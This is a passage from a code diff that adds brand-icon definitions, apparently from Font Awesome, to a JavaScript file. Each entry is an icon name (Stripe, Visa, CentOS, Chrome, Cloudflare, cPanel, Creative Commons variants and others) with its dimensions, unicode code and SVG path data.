51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z" ], + "cc-stripe": [ 576, 512, [], "f1f5", "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z" ], + "cc-visa": [ 576, 512, [], "f1f0", "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z" ], + centercode: [ 512, 512, [], "f380", "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z" ], + centos: [ 448, 512, [], "f789", "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z" ], + chrome: [ 496, 512, [], "f268", "M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z" ], + chromecast: [ 512, 512, [], "f838", "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z" ], + cloudflare: [ 640, 512, [], "e07d", "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z" ], + cloudscale: [ 448, 512, [], "f383", "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z" ], + cloudsmith: [ 332, 512, [], "f384", "M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z" ], + cloudversify: [ 616, 512, [], "f385", "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z" ], + codepen: [ 512, 512, [], "f1cb", "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z" ], + codiepie: [ 472, 512, [], "f284", "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z" ], + confluence: [ 512, 512, [], "f78d", "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z" ], + connectdevelop: [ 576, 512, [], "f20e", "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z" ], + contao: [ 512, 512, [], "f26d", "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z" ], + "cotton-bureau": [ 512, 512, [], "f89e", "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z" ], + cpanel: [ 640, 512, [], "f388", "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z" ], + "creative-commons": [ 496, 512, [], "f25e", "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z" ], + "creative-commons-by": [ 496, 512, [], "f4e7", "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z" ], + "creative-commons-nc": [ 496, 512, [], "f4e8", "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z" ], + "creative-commons-nc-eu": [ 496, 512, [], "f4e9", "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z" ], + "creative-commons-nc-jp": [ 496, 512, [], "f4ea", "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z" ], + "creative-commons-nd": [ 496, 512, [], "f4eb", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z" ], + "creative-commons-pd": [ 496, 512, [], "f4ec", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z" ], + "creative-commons-pd-alt": [ 496, 512, [], "f4ed", "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 